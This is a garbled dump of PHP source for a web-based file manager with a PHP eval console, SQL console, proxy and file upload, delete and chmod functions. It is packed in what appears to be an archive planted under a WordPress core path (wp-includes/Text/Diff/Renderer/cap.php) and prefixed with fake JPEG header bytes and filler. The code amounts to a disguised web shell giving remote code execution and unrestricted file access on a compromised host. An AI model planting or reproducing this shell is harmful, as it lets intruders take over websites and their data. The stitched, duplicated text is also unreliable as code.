        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PK     |\FL @  @   cap.php.tarnu [        home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php                                  0000644                 00000234451 15217274014 0021221 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
